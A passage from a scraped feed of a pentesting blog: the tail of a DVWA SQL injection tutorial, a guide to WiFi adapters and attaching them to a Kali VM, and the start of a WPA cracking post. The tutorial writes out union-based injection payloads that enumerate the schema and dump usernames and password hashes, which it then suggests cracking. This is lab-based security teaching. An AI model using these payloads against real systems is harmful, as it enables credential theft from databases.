<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="608" height="349" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png" alt="" class="wp-image-3429" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png 608w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-35-300x172.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>This query will display all records that are True or False. The <code>test'</code> parameter will probably not be equal to any user in the Database and will equal to <strong>False</strong>. The other part <code>1=1</code> will be <strong>True</strong> since <strong>1</strong> (one) is equal to <strong>1</strong> (one). The <code>#</code> sign to comments out any SQL code or error. The query that executes in the database looks like this;</p>



<pre class="wp-block-preformatted">SELECT first_name, last_name FROM users WHERE user_id = 'test' or '1'='1';</pre>



<h4 id="display-rdbms-and-version" class="wp-block-heading">Display RDBMS and Version</h4>



<p>By knowing the <strong>RDMS</strong> (Relational Database Management System) running under the hood, we can successfully send malicious SQL queries. Most Web application technologies like Java, ASP.NET, PHP, etc., can give us a vivid idea of the database powering the web system. For example, PHP web apps will likely use MySQL, ASP.NET apps will most likely run on Microsoft SQL Server, while Java web systems will most likely run on Oracle or MySQL. Additionally, we can try using a combination of web technology and the Operating system to determine the database. For example, a web application running on Apache and PHP on a Linux host is probably using MySQL database.</p>



<p>However, we cannot entirely rely on this information. If the web app is vulnerable to SQL injection, then there are queries we can use to know the RDBMS and RDBMS-version running behind the scenes.</p>



<p>To know the RDBMS, we will enter anything that will make the database throw an error. In this case, we enter a single quote in the USER ID field. That will make the database read anything past the quote as a string instead of an SQL query.</p>



<p>That will throw an error, as shown below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="931" height="82" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png" alt="" class="wp-image-3430" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png 931w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-300x26.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-768x68.png 768w" sizes="auto, (max-width: 931px) 100vw, 931px" /></figure>



<p>This error gave us the RDBMS name but not the version. In MySQL, we have two queries that you can use to return the database version &#8211; <code>Select version()</code> and <code>Select @@version</code>. We will use the SQL query below to get the database version.</p>



<pre class="wp-block-preformatted">test'union select null, version()#</pre>



<p>We can also use:</p>



<pre class="wp-block-preformatted">test'union select null, @@version()#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="657" height="150" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png" alt="" class="wp-image-3431" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png 657w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-37-300x68.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<h4 id="display-the-hostname-of-our-web-app" class="wp-block-heading">Display the hostname of our web app</h4>



<p>To get the hostname on MySQL, we use the <code>@@hostname</code> query. Enter the input below in the <strong>USER ID</strong> field.</p>



<pre class="wp-block-preformatted">' union select null, @@hostname#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="412" height="201" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png" alt="" class="wp-image-3432" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png 412w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-38-300x146.png 300w" sizes="auto, (max-width: 412px) 100vw, 412px" /></figure>



<p>From the output above, we can see the hostname under the surname as <strong>metasploitable</strong>. Yours might be different from my mine.</p>



<h4 id="display-database-user" class="wp-block-heading">Display Database User</h4>



<p>To know the database user, we will enter the input below in the USER ID field. We will use the user() SQL function.</p>



<pre class="wp-block-preformatted">test' union select null, user() #</pre>


<p>[analogy]<strong>Note: </strong>We are using Null to make the starting query valid.[/analogy]</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="123" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png" alt="" class="wp-image-3433" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-39-300x60.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>From the output above, we can see the hostname under the surname as root@localhost.</p>



<h4 id="display-the-database-name" class="wp-block-heading">Display the Database Name</h4>



<p>To get the database name, we will use the database() function in our SQL query. Please note; this is not the RDBMS but the database on which our web app is running. Enter the query below:</p>



<pre class="wp-block-preformatted">test' union select null, database() #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="116" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png" alt="" class="wp-image-3434" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-40-300x57.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>You can see the name of the database under the Surname &#8211; dvwa.</p>



<h4 id="list-all-tables-in-the-information-schema" class="wp-block-heading">List all tables in the information schema.</h4>



<p>The Information Schema is a record that holds information about all other databases maintained by MySQL RDBMS. Enter the query below in the USER ID field.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="662" height="473" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png" alt="" class="wp-image-3435" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png 662w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-41-300x214.png 300w" sizes="auto, (max-width: 662px) 100vw, 662px" /></figure>



<p>The tables are listed under <strong>Surname</strong>.</p>



<h4 id="list-all-user-tables-in-the-information-schema" class="wp-block-heading">List all user tables in the information schema.</h4>



<p>To display all user tables, we will start in the <strong>informarion_schema</strong> database. Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="415" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png" alt="" class="wp-image-3436" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png 879w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-300x142.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-768x363.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>The user tables are listed under the <strong>Surname</strong> field.</p>



<h4 id="list-all-column-fields-in-the-information-schema-users-table" class="wp-block-heading">List all Column fields in the information schema users table</h4>



<p>Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="941" height="303" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png" alt="" class="wp-image-3437" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png 941w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-300x97.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-768x247.png 768w" sizes="auto, (max-width: 941px) 100vw, 941px" /></figure>



<p>From the output above, you see we have the First_name, Surname, and user_id fields listed.</p>



<h4 id="display-all-the-column-contents-in-the-information-schema-users-table" class="wp-block-heading">Display all the column contents in the information schema users table</h4>



<p>This is much more interesting. We will display all the authentication information of all users in the database. That includes password hashes. Enter the query below.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="635" height="490" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png" alt="" class="wp-image-3438" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-44-300x231.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure>



<p>From the output above, you can see the hashed password. We can go ahead and crack the hash to reveal the actual password. Some of the password cracking tools that come in handy include John the Ripper and Medusa. There are also websites where you can paste the password hash to reveal the actual password.</p>



<p>In this example, we will use <a href="https://crackstation.net" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">crackstation.net<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to crack the password hash for the second user with the surname &#8211; Gordon.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="260" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png" alt="" class="wp-image-3439" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png 996w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-300x78.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-768x200.png 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>



<h3 id="how-to-prevent-sql-injection-attacks" class="wp-block-heading">How To Prevent SQL Injection Attacks</h3>



<p>The main reason that makes web applications vulnerable to SQL injections dates back to the development (coding) stage. Here are some factors developers can consider to develop secure web systems.</p>



<ul class="wp-block-list"><li>Validate user input</li><li>Limit the use of special characters such as string concatenation</li><li>Use stored procedures in the database</li><li>Actively install security patches and updates</li><li>Implement a Web Application Firewall</li><li>Harden your Operating System and Applications</li></ul>



<h3 id="summing-up" class="wp-block-heading">Summing Up</h3>



<p>As of 2021, OWASP Top 10, a Security Framework, listed SQL injection as the number one attack mainly used by hackers and poses a significant impact on businesses and organizations. From the examples above, I believe you now understand how and why SQL injection attacks are the leading cause of massive data leaks.</p>



<p>The DVWA is a reliable platform where penetration testers can practice their skills and understand how various web vulnerabilities are exploited.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3424</post-id>	</item>
		<item>
		<title>Connecting a Wireless Adapter to a Kali Linux Virtual Machine</title>
		<link>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/</link>
					<comments>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 21:30:19 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[kali]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3399</guid>

					<description><![CDATA[In “Network hacking,” most people get confused when talking about Network adapters and Network cards. Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market. A wireless adapter is a device that you connect to your [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In “Network hacking,” most people get confused when talking about Network adapters and Network cards.</p>



<p>Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market.</p>



<p>A wireless adapter is a device that you connect to your computer via the USB port, and it allows you to connect to WiFi networks and communicate with other devices on the network.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p><strong>However, you might wonder</strong>: &#8220;Why would I need a USB network adapter since my laptop already has an inbuilt adapter that enables me to connect to wireless networks?&#8221;</p>



<p>Well, this is among the topics that we will discuss in this post:</p>



<ul class="wp-block-list">
<li>Problems with Built-in Wireless Cards</li>



<li>Best WiFi adapters for hacking</li>



<li>How to connect a wireless adapter to Kali Linux Virtual machine</li>
</ul>






<h2 id="problems-with-built-in-wireless-cards" class="wp-block-heading">Problems With Built-in Wireless Cards</h2>



<p>There are two main problems with built-in WiFi adapters.</p>



<ol class="wp-block-list squaretype-style">
<li><strong>They can’t be used in Virtual machines</strong> &#8211; Kali inside a VM does not see the built-in WiFi card of your laptop as a WiFi adapter but will see it as an ethernet adapter. Hence you can have full internet access, but you cannot do packet injection or place the WiFi card into monitor mode.</li>



<li><strong>Most built-in cards are not suitable for hacking</strong> &#8211; In wireless hacking, there are two main factors that we look out for in adapters. That is ‘packet infection’ and support for ‘monitor mode.’ Unfortunately, most of the built-in adapters support non of these two features.</li>
</ol>



<h2 id="best-wifi-adapters-for-hacking-with-monitor-mode" class="wp-block-heading">Best WiFi Adapters for Hacking (With Monitor Mode)</h2>



<p>Before diving into the different WiFi adapter brands and models, we first need to understand the Wireless Chipset present in these adapters. Like the CPU we have in a computer, this chipset is the “Brains” of the wireless adapter.</p>



<p>It is responsible for all the processing and calculation of data flowing through it. It also determines the capability of the wireless adapter. Whether it can support monitor mode, packet injection, and works with Kali Linux or not.</p>



<p>Some of the <strong>chipset</strong> supported by Kali Linux include:</p>



<ul class="wp-block-list">
<li>Realtek RTL8812AU</li>



<li>Realtek 8187L</li>



<li>Ralink RT5370N</li>



<li>Ralink RT3572</li>



<li>Ralink RT5572</li>



<li>Ralink RT3070</li>



<li>Ralink RT307</li>



<li>Atheros AR9271</li>



<li>MT7610U</li>



<li>MT7612U</li>
</ul>



<p><strong>I understand all this information looks gibberish as of now</strong>; however, you will appreciate it when we look at the different WiFi adapters available and the chipset they use.</p>



<p>You will notice that the <a href="https://www.alfa.com.tw/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA Networks<span class="wpel-icon wpel-image wpel-icon-19"></span></a> company highly dominates the Wireless adapter market. Over the past couple of years, the company has risen to stand as the perfect supplier for efficient and reliable WIFI adapters. Other companies include <a href="https://www.tp-link.com/us/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-Link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and <a href="https://www.pandawireless.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>The table below shows a list of wireless adapters supported by Kali Linux and the <strong>Chipset</strong>, <strong>Frequency</strong>, and Protocol they are using.</p>



<figure class="wp-block-table"><table><thead><tr><th>Adapter Name</th><th>Chipset</th><th>Frequency</th><th>Protocol</th></tr><tr><th><a href="https://www.amazon.com/AWUS036NEH-Range-WIRELESS-802-11b-USBAdapter/dp/B0035OCVO6" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NEH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th>TP-LINK TL-WN722N 2.4GHz v1</th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/TP-Link-TL-WN722N-Wireless-network-Adapter/dp/B002SZEOLG/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N 2.4GHz v2/v3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (<a href="https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/" data-wpel-link="internal">with some workarounds</a>)</th><th>Realtek RTL8188EUS</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NH-802-11g-Wireless-Long-Range/dp/B003YIFHJY/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NHA-Wireless-USB-Adaptor/dp/B004Y6MIXS/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NHA<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/gp/product/B01LY35HGO/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda PAU09<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT5572</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/alfa-awus036h-802-11b-wireless-long-rang/dp/b005em292q" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036H<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek 8187L</th><th>2.4GHz</th><th>802.11b/g</th></tr><tr><th><a href="https://www.amazon.com/AWUS036ACHM-802-11ac-Range-Boost-Adapter/dp/B08SJBV1N3/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACHM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7610U</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036ACM-Long-Range-Dual-Band-Wireless/dp/B073X6RL9D" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7612U</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.newegg.com/alfa-network-inc-awus1900-usb-3-0/p/0XM-000A-00036" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS1900<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036AC-Long-Range-Wide-Coverage-High-Sensitivity/dp/B01B33WU82" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036AC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036ACS-Wide-Coverage-Dual-Band-High-Sensitivity/dp/B0752CTSGD/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACS<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8811AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.alfa.com.tw/products/awus036eac?variant=36473966035016" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036EAC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.ebay.com/itm/383385863645" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWPCIE-1900U<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr></thead></table></figure>



<p class="black-bg"><strong>Important</strong>: When it comes to <strong>TP-LINK TL-WN722N</strong>, it’s important to know that you can also get <strong>v2/v3</strong> to work with a few workarounds, although it’s sometimes assumed that only <strong>v1</strong> works.<br><br>A great and detailed tutorial on this topic is this one from <a href="https://www.youtube.com/watch?v=tYnjMiTTdms" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">David Bombal &#8211; Kali Linux TP-Link TP-WN722N<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.<br><br><strong>TL-WN722N</strong> is a decent budget WiFi adapter for our purposes, but it’s sometimes difficult to find <strong>v1</strong> in your immediate area, so <strong>v2/v3</strong> is definitely a good option.<br><br>In some cases you won’t find the adapter’s version in the product description, so I think it’s definitely good to know you can make it work no matter which of those versions it is.</p>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-virtualbox" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VirtualBox)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VirtualBox, you can go in the <strong>Oracle VM VirtualBox menu &gt; Devices &gt; USB &gt; [select_your_adapter]</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1011" height="554" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg" alt="" class="wp-image-3413" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg 1011w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-300x164.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-768x421.jpg 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>



<h3 id="automatically-connect-the-wifi-adapter-to-a-virtualbox-vm" class="wp-block-heading">Automatically Connect the WiFi Adapter to a VirtualBox VM</h3>



<p>You can also automatically connect a wireless adapter to your Kali Linux virtual machine, when running VirtualBox. This way, you don’t have to manually connect it every time</p>



<p>To do this follow the steps below:</p>



<ol class="wp-block-list squaretype-style">
<li>Shutdown the Kali virtual machine if it was already running</li>



<li>Connect your Wireless USB adapter to your PC</li>



<li>Right-click on your Kali Virtual machine and select the Settings option. A window will open displaying all the different configuration options.</li>



<li>Click on the USB option and check the Enable USB controller check box.<br><br><figure><img decoding="async" style="width: undefinedpx;" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.png"></figure><br><br>We will need to add a USB filter on this window that will enable us to mount our wireless adapter to the Kali VirtualBox VM.</li>



<li>Click on the USB icon that has a plus (+) sign and select your Wireless adapter.<br><strong>Note</strong>: Be careful since the adapter may appear with the chipset na,e instead of the Brand name. For example, my adapter in this case is <strong>TP-LINK TL-WN722N 2.4GHz v1</strong> but was listed under the chipset name <strong>Atheros AR9271</strong>.<br><br>If you are not sure of the adapter&#8217;s name, just remove it, and you will notice the name that will disappear from the VirtualBox USB list.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-46.png"></figure><br></li>



<li>Your wireless adapter will be listed under the “USB Device Filters” section.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-47.png"></figure><br></li>



<li>To finalize everything, right-click on your newly added USB filter and select the Edit Filters option.<br>A window will open listing all the details about your wireless adapter. Then, on the Remote option, click on the dropdown and select Yes.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-48.png"></figure><br></li>



<li>Click Ok to save your configurations.</li>
</ol>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-vmware-player" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VMware Player)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VMware Player, you can go to the <strong>VMware Player menu &gt; Player &gt; Removable Devices &gt; [your_adapter] &gt; Connect (Disconnect from host)</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<p>You should then receive a message informing you that the device will be safely stopped and disconnected from the host machine, so it can then be connected to Kali Linux in the VMware player.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="987" height="571" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg" alt="" class="wp-image-3418" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg 987w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x174.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x444.jpg 768w" sizes="auto, (max-width: 987px) 100vw, 987px" /></figure>



<p class="orange-border">I&#8217;m not sure of an easy way how you can automatically connect a WiFi Adapter with VMware Player, as we did with VirtualBox. The solution in VMware knowledge base seems to involve a bit of work <a href="https://kb.vmware.com/s/article/1648" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://kb.vmware.com/s/article/1648<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and I haven&#8217;t tried it myself. <em>If anyone has an easier solution for this and would like to share, then we&#8217;d love to hear from you</em>.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now you can boot your Kali VM and start practicing your wireless hacking skills. You can list all the wireless networks around you and even put your card in monitor mode.</p>



<p>I believe up to this point, you have a working wireless adapter on your Kali Linux VirtualBox machine. Please remember when selecting an adapter for wireless hacking to ensure the chipset used is among the chipsets listed above.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3399</post-id>	</item>
		<item>
		<title>Crack WPA/WPA2 WiFi Passwords using Aircrack-ng &#038; Kali Linux</title>
		<link>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/</link>
					<comments>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 20:18:29 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3381</guid>

					<description><![CDATA[For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking. That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis. This post will give you a detailed guide [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking.</p>



<p>That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis.</p>



<p>This post will give you a detailed guide on cracking WPA/WPA2 WiFi passwords using Kali Linux.</p>



<p class="orange-border"><strong>Important:</strong> In this article I&#8217;ll be demonstrating how to crack a password on my WiFi network. Please do not use this method for non-ethical purposes.</p>






<h2 id="understanding-how-networks-operate" class="wp-block-heading">Understanding How Networks Operate</h2>



<p>Before looking at how to crack WiFi passwords, you need to understand how a network operates. A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources. An excellent example of a resource that we connect to networks to access is the <strong>Internet</strong>.</p>



<p>Whether you are on a wired or wireless network, one device is always considered a server. For example, if you are on a home network, the server would be the router/Access point. To connect to the internet, a Device(A) will send a request to the router, which will, in turn, fetch what you want from the Internet. Data transmitted between the client and the Access Point is known as <strong>Packets</strong>.</p>



<p>This tutorial will teach you how to capture these packets and use them to crack WPA and WPA2 passwords.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="663" height="412" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp" alt="Typical Network" class="wp-image-3392" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp 663w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-57-300x186.webp 300w" sizes="auto, (max-width: 663px) 100vw, 663px" /></figure></div>



<h2 id="managed-mode-and-monitor-mode" class="wp-block-heading">Managed Mode and Monitor Mode?</h2>



